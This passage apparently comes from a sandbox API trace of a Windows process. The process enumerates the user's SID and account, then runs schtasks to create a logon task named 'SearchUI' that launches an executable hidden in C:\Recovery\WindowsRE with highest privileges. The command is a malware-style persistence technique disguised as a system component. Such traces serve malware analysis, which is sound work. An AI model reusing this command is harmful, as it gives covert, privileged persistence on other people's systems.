(param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0125.348] SysStringLen (param_1="1811730007") returned 0xa [0125.348] memcpy (in: _Dst=0x196ee7bc398, _Src=0x196ee7a4f58, _Size=0x40 | out: _Dst=0x196ee7bc398) returned 0x196ee7bc398 [0125.348] memcpy (in: _Dst=0x196ee7bc3d6, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7bc3d6) returned 0x196ee7bc3d6 [0125.348] free (_Block=0x196ef0d1bc0) [0125.348] free (_Block=0x196ef0d1d00) [0125.348] GetSidSubAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0df8 [0125.348] _ultow (in: _Dest=0x3e8, _Radix=1895810256 | out: _Dest=0x3e8) returned="1000" [0125.348] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0125.349] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0125.349] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0125.349] SysStringLen (param_1="-") returned 0x1 [0125.349] memcpy (in: _Dst=0x196ee7a4f58, _Src=0x196ee7bc398, _Size=0x54 | out: _Dst=0x196ee7a4f58) returned 0x196ee7a4f58 [0125.349] memcpy (in: _Dst=0x196ee7a4faa, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7a4faa) returned 0x196ee7a4faa [0125.349] free (_Block=0x196ef0d1ec0) [0125.349] free (_Block=0x196ef0d1ba0) [0125.349] malloc (_Size=0x18) returned 0x196ef0d1c00 [0125.349] malloc (_Size=0x18) returned 0x196ef0d1d80 [0125.349] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0125.349] SysStringLen (param_1="1000") returned 0x4 [0125.349] memcpy (in: _Dst=0x196ee7bc398, _Src=0x196ee7a4f58, _Size=0x56 | out: _Dst=0x196ee7bc398) returned 0x196ee7bc398 [0125.349] memcpy (in: _Dst=0x196ee7bc3ec, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7bc3ec) returned 0x196ee7bc3ec [0125.349] free (_Block=0x196ef0d1ac0) [0125.349] free (_Block=0x196ef0d1c00) [0125.349] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0125.349] malloc (_Size=0x5e) returned 0x196ef0d0370 [0125.349] free (_Block=0x196ef0d1d80) [0125.349] malloc (_Size=0x18) returned 0x196ef0d1d60 [0125.350] free (_Block=0x196ef0d0370) [0125.350] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698 | out: Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698) returned 0 [0125.351] GetLastError () returned 0x7a [0125.351] malloc (_Size=0x1a) returned 0x196ef0f9df0 [0125.351] malloc (_Size=0xe) returned 0x196ef0d1fa0 [0125.351] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9df0, cchName=0x670ffc5a0, ReferencedDomainName=0x196ef0d1fa0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698 | out: Name="RDhJ0CNFevzX", cchName=0x670ffc5a0, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698) returned 1 [0125.353] malloc (_Size=0x18) returned 0x196ef0d1c40 [0125.353] malloc (_Size=0x18) returned 0x196ef0d2020 [0125.353] free (_Block=0x196ef0f9df0) [0125.353] free (_Block=0x196ef0d1fa0) [0125.353] free (_Block=0x196ef0f9fd0) [0125.353] free (_Block=0x196ef0d2020) [0125.353] free (_Block=0x196ef0d1c40) [0125.353] free (_Block=0x196ef0d1d60) [0125.354] free (_Block=0x196ef0d0dd0) [0125.354] GetVersionExW (in: lpVersionInformation=0x670ffc870*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xffffffff, dwMinorVersion=0xa80936, dwBuildNumber=0x0, dwPlatformId=0x70ffcc18, szCSDVersion="\x06") | out: lpVersionInformation=0x670ffc870*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0125.354] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x0, ReturnLength=0x670ffc6e0) returned 0 [0125.354] GetLastError () returned 0x7a [0125.354] malloc (_Size=0x2c) returned 0x196ef0d1610 [0125.354] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x1, TokenInformation=0x196ef0d1610, TokenInformationLength=0x2c, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x196ef0d1610, ReturnLength=0x670ffc6e0) returned 1 [0125.354] IsValidSid (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0125.354] GetLengthSid (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0125.354] malloc (_Size=0x1c) returned 0x196ef0f9d90 [0125.354] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9d90, pSourceSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9d90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0125.354] GetSidIdentifierAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1622 [0125.354] malloc (_Size=0x18) returned 0x196ef0d1c00 [0125.354] _ultow (in: _Dest=0x5, _Radix=1895810256 | out: _Dest=0x5) returned="5" [0125.354] malloc (_Size=0x18) returned 0x196ef0d1e60 [0125.354] malloc (_Size=0x18) returned 0x196ef0d1e80 [0125.354] SysStringLen (param_1="S-1-") returned 0x4 [0125.355] SysStringLen (param_1="5") returned 0x1 [0125.355] memcpy (in: _Dst=0x196ee7c71c8, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7c71c8) returned 0x196ee7c71c8 [0125.355] memcpy (in: _Dst=0x196ee7c71d0, _Src=0x196ee7c7228, _Size=0x4 | out: _Dst=0x196ee7c71d0) returned 0x196ee7c71d0 [0125.355] free (_Block=0x196ef0d1c00) [0125.355] free (_Block=0x196ef0d1e60) [0125.355] GetSidSubAuthorityCount (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1621 [0125.355] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1628 [0125.355] _ultow (in: _Dest=0x15, _Radix=1895810256 | out: _Dest=0x15) returned="21" [0125.355] malloc (_Size=0x18) returned 0x196ef0d1a60 [0125.355] malloc (_Size=0x18) returned 0x196ef0d1a20 [0125.355] SysStringLen (param_1="S-1-5") returned 0x5 [0125.355] SysStringLen (param_1="-") returned 0x1 [0125.355] memcpy (in: _Dst=0x196ee7c7228, _Src=0x196ee7c71c8, _Size=0xc | out: _Dst=0x196ee7c7228) returned 0x196ee7c7228 [0125.355] memcpy (in: _Dst=0x196ee7c7232, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7c7232) returned 0x196ee7c7232 [0125.355] free (_Block=0x196ef0d1e80) [0125.355] free (_Block=0x196ef0d1a60) [0125.355] malloc (_Size=0x18) returned 0x196ef0d1d20 [0125.355] malloc (_Size=0x18) returned 0x196ef0d1a40 [0125.355] SysStringLen (param_1="S-1-5-") returned 0x6 [0125.355] SysStringLen (param_1="21") returned 0x2 [0125.355] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7c7228, _Size=0xe | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0125.356] memcpy (in: _Dst=0x196ee7aab44, _Src=0x196ee7c71c8, _Size=0x6 | out: _Dst=0x196ee7aab44) returned 0x196ee7aab44 [0125.356] free (_Block=0x196ef0d1a20) [0125.356] free (_Block=0x196ef0d1d20) [0125.356] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d162c [0125.356] _ultow (in: _Dest=0x5cffa865, _Radix=1895810256 | out: _Dest=0x5cffa865) returned="1560258661" [0125.356] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0125.356] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0125.356] SysStringLen (param_1="S-1-5-21") returned 0x8 [0125.356] SysStringLen (param_1="-") returned 0x1 [0125.356] memcpy (in: _Dst=0x196ee7c71c8, _Src=0x196ee7aab38, _Size=0x12 | out: _Dst=0x196ee7c71c8) returned 0x196ee7c71c8 [0125.356] memcpy (in: _Dst=0x196ee7c71d8, _Src=0x196ee7c7228, _Size=0x4 | out: _Dst=0x196ee7c71d8) returned 0x196ee7c71d8 [0125.356] free (_Block=0x196ef0d1a40) [0125.356] free (_Block=0x196ef0d1ba0) [0125.356] malloc (_Size=0x18) returned 0x196ef0d1f20 [0125.356] malloc (_Size=0x18) returned 0x196ef0d1d40 [0125.356] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0125.357] SysStringLen (param_1="1560258661") returned 0xa [0125.357] memcpy (in: _Dst=0x196ee777d98, _Src=0x196ee7c71c8, _Size=0x14 | out: _Dst=0x196ee777d98) returned 0x196ee777d98 [0125.357] memcpy (in: _Dst=0x196ee777daa, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee777daa) returned 0x196ee777daa [0125.357] free (_Block=0x196ef0d1aa0) [0125.359] free (_Block=0x196ef0d1f20) [0125.359] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1630 [0125.359] _ultow (in: _Dest=0xeddecfcf, _Radix=1895810256 | out: _Dest=0xeddecfcf) returned="3990802383" [0125.359] malloc (_Size=0x18) returned 0x196ef0d1a80 [0125.359] malloc (_Size=0x18) returned 0x196ef0d1c00 [0125.359] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0125.359] SysStringLen (param_1="-") returned 0x1 [0125.359] memcpy (in: _Dst=0x196ee7774d8, _Src=0x196ee777d98, _Size=0x28 | out: _Dst=0x196ee7774d8) returned 0x196ee7774d8 [0125.359] memcpy (in: _Dst=0x196ee7774fe, _Src=0x196ee7c71c8, _Size=0x4 | out: _Dst=0x196ee7774fe) returned 0x196ee7774fe [0125.359] free (_Block=0x196ef0d1d40) [0125.360] free (_Block=0x196ef0d1a80) [0125.360] malloc (_Size=0x18) returned 0x196ef0d1f00 [0125.360] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0125.360] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0125.360] SysStringLen (param_1="3990802383") returned 0xa [0125.360] memcpy (in: _Dst=0x196ee7a4f58, _Src=0x196ee7774d8, _Size=0x2a | out: _Dst=0x196ee7a4f58) returned 0x196ee7a4f58 [0125.360] memcpy (in: _Dst=0x196ee7a4f80, _Src=0x196ee7c71c8, _Size=0x16 | out: _Dst=0x196ee7a4f80) returned 0x196ee7a4f80 [0125.360] free (_Block=0x196ef0d1c00) [0125.360] free (_Block=0x196ef0d1f00) [0125.360] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1634 [0125.360] _ultow (in: _Dest=0x6bfcce57, _Radix=1895810256 | out: _Dest=0x6bfcce57) returned="1811730007" [0125.360] malloc (_Size=0x18) returned 0x196ef0d1a80 [0125.360] malloc (_Size=0x18) returned 0x196ef0d20a0 [0125.360] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0125.360] SysStringLen (param_1="-") returned 0x1 [0125.360] memcpy (in: _Dst=0x196ee7bc398, _Src=0x196ee7a4f58, _Size=0x3e | out: _Dst=0x196ee7bc398) returned 0x196ee7bc398 [0125.360] memcpy (in: _Dst=0x196ee7bc3d4, _Src=0x196ee7c71c8, _Size=0x4 | out: _Dst=0x196ee7bc3d4) returned 0x196ee7bc3d4 [0125.360] free (_Block=0x196ef0d1ba0) [0125.360] free (_Block=0x196ef0d1a80) [0125.360] malloc (_Size=0x18) returned 0x196ef0d1a20 [0125.360] malloc (_Size=0x18) returned 0x196ef0d2020 [0125.361] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0125.361] SysStringLen (param_1="1811730007") returned 0xa [0125.361] memcpy (in: _Dst=0x196ee7a4f58, _Src=0x196ee7bc398, _Size=0x40 | out: _Dst=0x196ee7a4f58) returned 0x196ee7a4f58 [0125.361] memcpy (in: _Dst=0x196ee7a4f96, _Src=0x196ee7c71c8, _Size=0x16 | out: _Dst=0x196ee7a4f96) returned 0x196ee7a4f96 [0125.361] free (_Block=0x196ef0d20a0) [0125.361] free (_Block=0x196ef0d1a20) [0125.361] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1638 [0125.361] _ultow (in: _Dest=0x3e8, _Radix=1895810256 | out: _Dest=0x3e8) returned="1000" [0125.361] malloc (_Size=0x18) returned 0x196ef0d1c80 [0125.361] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0125.361] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0125.361] SysStringLen (param_1="-") returned 0x1 [0125.361] memcpy (in: _Dst=0x196ee7bc398, _Src=0x196ee7a4f58, _Size=0x54 | out: _Dst=0x196ee7bc398) returned 0x196ee7bc398 [0125.361] memcpy (in: _Dst=0x196ee7bc3ea, _Src=0x196ee7c71c8, _Size=0x4 | out: _Dst=0x196ee7bc3ea) returned 0x196ee7bc3ea [0125.361] free (_Block=0x196ef0d2020) [0125.361] free (_Block=0x196ef0d1c80) [0125.361] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0125.362] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0125.362] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0125.362] SysStringLen (param_1="1000") returned 0x4 [0125.362] memcpy (in: _Dst=0x196ee7a4f58, _Src=0x196ee7bc398, _Size=0x56 | out: _Dst=0x196ee7a4f58) returned 0x196ee7a4f58 [0125.362] memcpy (in: _Dst=0x196ee7a4fac, _Src=0x196ee7c71c8, _Size=0xa | out: _Dst=0x196ee7a4fac) returned 0x196ee7a4fac [0125.362] free (_Block=0x196ef0d1aa0) [0125.362] free (_Block=0x196ef0d1ac0) [0125.362] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0125.362] malloc (_Size=0x5e) returned 0x196ef0d0370 [0125.362] free (_Block=0x196ef0d1bc0) [0125.362] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0125.363] free (_Block=0x196ef0d0370) [0125.363] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690 | out: Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690) returned 0 [0125.385] GetLastError () returned 0x7a [0125.385] malloc (_Size=0x1a) returned 0x196ef0f9a00 [0125.385] malloc (_Size=0xe) returned 0x196ef0d1a40 [0125.386] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9a00, cchName=0x670ffc5a0, ReferencedDomainName=0x196ef0d1a40, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690 | out: Name="RDhJ0CNFevzX", cchName=0x670ffc5a0, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690) returned 1 [0125.387] malloc (_Size=0x18) returned 0x196ef0d1a20 [0125.387] malloc (_Size=0x18) returned 0x196ef0d1f60 [0125.387] free (_Block=0x196ef0f9a00) [0125.387] free (_Block=0x196ef0d1a40) [0125.387] free (_Block=0x196ef0f9d90) [0125.387] free (_Block=0x196ef0d1f60) [0125.387] free (_Block=0x196ef0d1a20) [0125.387] free (_Block=0x196ef0d1ba0) [0125.388] free (_Block=0x196ef0d1610) [0125.388] malloc (_Size=0x48) returned 0x196ef0cc850 [0125.389] LoadLibraryExW (lpLibFileName="userenv.dll", hFile=0x0, dwFlags=0x0) returned 0x7ffa77c00000 [0125.399] GetProcAddress (hModule=0x7ffa77c00000, lpProcName="DestroyEnvironmentBlock") returned 0x7ffa77c034a0 [0125.400] GetProcAddress (hModule=0x7ffa77c00000, lpProcName="CreateEnvironmentBlock") returned 0x7ffa77c034d0 [0125.400] malloc (_Size=0x18) returned 0x196ef0d1de0 [0125.400] CreateEnvironmentBlock () returned 0x1 [0125.406] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0125.406] CreateProcessAsUserW (in: hToken=0x33c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"SearchUI\" /sc ONLOGON /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x670ffc800*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x670ffc6a8 | out: lpCommandLine="schtasks.exe /create /tn \"SearchUI\" /sc ONLOGON /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /rl HIGHEST /f", lpProcessInformation=0x670ffc6a8*(hProcess=0x260, hThread=0x264, dwProcessId=0xbc4, dwThreadId=0x5ec)) returned 1 [0125.416] CloseHandle (hObject=0x260) returned 1 [0125.416] CloseHandle (hObject=0x264) returned 1 [0125.417] free (_Block=0x196ef0d1bc0) [0125.417] DestroyEnvironmentBlock () returned 0x1 [0125.417] malloc (_Size=0x48) returned 0x196ef0ccda0 [0125.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670ffc680 | out: lpSystemTimeAsFileTime=0x670ffc680*(dwLowDateTime=0x2b9ad25b, dwHighDateTime=0x1d9eb0c)) [0125.417] SetEvent (hEvent=0x248) returned 1 [0125.418] CloseHandle (hObject=0x328) returned 1 [0125.418] CloseHandle (hObject=0x33c) returned 1 [0125.427] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788250 [0125.427] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788250, pulNumLanguages=0x670ffdf80 | out: pulNumLanguages=0x670ffdf80) returned 1 [0125.427] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0125.427] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0126.315] RtlRestoreLastWin32Error () returned 0x670db9000 [0126.315] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffddb0 | out: pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffddb0) returned 1 [0126.315] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0126.315] RtlRestoreLastWin32Error () returned 0x670db9000 [0126.315] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x670ffddb0 | out: pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x670ffddb0) returned 1 [0126.315] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0126.315] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0126.315] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0126.315] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x670ffdeb8 | out: pulNumLanguages=0x670ffdeb8) returned 1 [0126.315] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0126.317] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0126.318] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0126.318] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0126.319] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0126.319] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0126.321] GetCurrentThread () returned 0xfffffffffffffffe [0126.321] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x670ffc740 | out: TokenHandle=0x670ffc740*=0x330) returned 1 [0126.321] DuplicateTokenEx (in: hExistingToken=0x330, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x670ffc758 | out: phNewToken=0x670ffc758*=0x26c) returned 1 [0126.321] GetTokenInformation (in: TokenHandle=0x330, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x0, ReturnLength=0x670ffc6e0) returned 0 [0126.321] GetLastError () returned 0x7a [0126.321] malloc (_Size=0x2c) returned 0x196ef0d0bd0 [0126.321] GetTokenInformation (in: TokenHandle=0x330, TokenInformationClass=0x1, TokenInformation=0x196ef0d0bd0, TokenInformationLength=0x2c, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x196ef0d0bd0, ReturnLength=0x670ffc6e0) returned 1 [0126.321] IsValidSid (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0126.321] GetLengthSid (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0126.322] malloc (_Size=0x1c) returned 0x196ef0f9fd0 [0126.322] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9fd0, pSourceSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9fd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0126.322] GetSidIdentifierAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0be2 [0126.322] malloc (_Size=0x18) returned 0x196ef0d1d40 [0126.322] _ultow (in: _Dest=0x5, _Radix=1895810256 | out: _Dest=0x5) returned="5" [0126.322] malloc (_Size=0x18) returned 0x196ef0d1a80 [0126.322] malloc (_Size=0x18) returned 0x196ef0d1c00 [0126.322] SysStringLen (param_1="S-1-") returned 0x4 [0126.322] SysStringLen (param_1="5") returned 0x1 [0126.322] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7c7258, _Size=0xa | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0126.322] memcpy (in: _Dst=0x196ee7aaa20, _Src=0x196ee7c7198, _Size=0x4 | out: _Dst=0x196ee7aaa20) returned 0x196ee7aaa20 [0126.322] free (_Block=0x196ef0d1d40) [0126.322] free (_Block=0x196ef0d1a80) [0126.322] GetSidSubAuthorityCount (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0be1 [0126.322] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0be8 [0126.322] _ultow (in: _Dest=0x15, _Radix=1895810256 | out: _Dest=0x15) returned="21" [0126.322] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0126.322] malloc (_Size=0x18) returned 0x196ef0d1a80 [0126.322] SysStringLen (param_1="S-1-5") returned 0x5 [0126.322] 